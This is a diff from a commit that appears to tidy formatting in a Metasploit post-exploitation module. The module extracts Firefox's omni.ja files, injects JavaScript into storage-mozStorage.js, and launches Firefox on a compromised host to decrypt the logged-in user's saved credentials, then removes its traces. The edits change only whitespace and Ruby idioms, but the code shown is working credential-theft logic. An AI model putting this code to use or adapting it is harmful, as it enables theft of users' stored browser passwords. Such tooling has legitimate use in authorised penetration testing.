@@ -426,11 +426,11 @@ def decrypt_get_env
426
426
def decrypt_modify_omnija ( zip )
427
427
# Which files to extract from ja/zip
428
428
files = [
429
- 'components/storage-mozStorage.js' , # stor_js
430
- 'chrome/toolkit/content/passwordmgr/passwordManager.xul' , # pwd_xul
431
- 'chrome/toolkit/content/global/commonDialog.xul' , # dlog_xul
432
- 'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
433
- ]
429
+ 'components/storage-mozStorage.js' , # stor_js
430
+ 'chrome/toolkit/content/passwordmgr/passwordManager.xul' , # pwd_xul
431
+ 'chrome/toolkit/content/global/commonDialog.xul' , # dlog_xul
432
+ 'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
433
+ ]
434
434
435
435
# Extract files from zip
436
436
arya = files . map do |omnija_file |
@@ -506,21 +506,21 @@ def decrypt_patch_method(stor_js)
506
506
|
507
507
508
508
regex = [
509
- nil , # dirty hack alert
510
- [ /return\s logins;/ , method_epilog ] ,
511
- [ /Components\. utils\. import\( "resource:\/ \/ gre\/ modules\/ XPCOMUtils\. jsm"\) ;/ , imports ]
512
- ]
509
+ nil , # dirty hack alert
510
+ [ /return\s logins;/ , method_epilog ] ,
511
+ [ /Components\. utils\. import\( "resource:\/ \/ gre\/ modules\/ XPCOMUtils\. jsm"\) ;/ , imports ]
512
+ ]
513
513
514
514
# Match the last two regular expressions
515
515
i = 2 # ...this is todo with the nil in the above regex array & regex command below
516
516
x = i
517
517
stor_js [ 'content' ] . each_line do |line |
518
518
# There is no real substitution if the matching regex has no corresponding patch code
519
- if i != 0 and line . sub! ( regex [ i ] [ 0 ] ) do |match |
520
- if ! regex [ i ] [ 1 ] . nil?
521
- vprint_good ( "[#{ x -i +1 } /#{ x } ] Javascript injected - ./components/storage-mozStorage.js" )
522
- regex [ i ] [ 1 ]
523
- end
519
+ if i != 0 && line . sub! ( regex [ i ] [ 0 ] ) do |match |
520
+ if regex [ i ] [ 1 ]
521
+ vprint_good ( "[#{ x -i +1 } /#{ x } ] Javascript injected - ./components/storage-mozStorage.js" )
522
+ regex [ i ] [ 1 ]
523
+ end
524
524
end # do |match|
525
525
i -= 1
526
526
end # if i != 0
@@ -604,7 +604,7 @@ def decrypt_trigger_decrypt(org_file, new_file, temp_file)
604
604
605
605
# Automatic termination (window.close() - injected XUL or firefox cmd arguments)
606
606
print_status ( "Starting Firefox process to get #{ whoami } 's credentials" )
607
- cmd_exec ( cmd , args )
607
+ cmd_exec ( cmd , args )
608
608
sleep ( 1 )
609
609
610
610
# Lets just check theres something before going forward
@@ -627,12 +627,12 @@ def decrypt_trigger_decrypt(org_file, new_file, temp_file)
627
627
vprint_status ( "Cleaning up: #{ new_file } " )
628
628
file_rm ( new_file )
629
629
if session . type == "meterpreter"
630
- if session . fs . file . exists? ( temp_file )
631
- print_error ( "Detected backup file (#{ temp_file } ) still on the target. Something went wrong." )
632
- end
633
- if ! session . fs . file . exists? ( org_file )
634
- print_error ( "Unable to find #{ org_file } on target. Something went wrong." )
635
- end
630
+ if session . fs . file . exists? ( temp_file )
631
+ print_error ( "Detected backup file (#{ temp_file } ) still on the target. Something went wrong." )
632
+ end
633
+ unless session . fs . file . exists? ( org_file )
634
+ print_error ( "Unable to find #{ org_file } on target. Something went wrong." )
635
+ end
636
636
end # session.type == "meterpreter"
637
637
638
638
# At this time, there should have a loot file
0 commit comments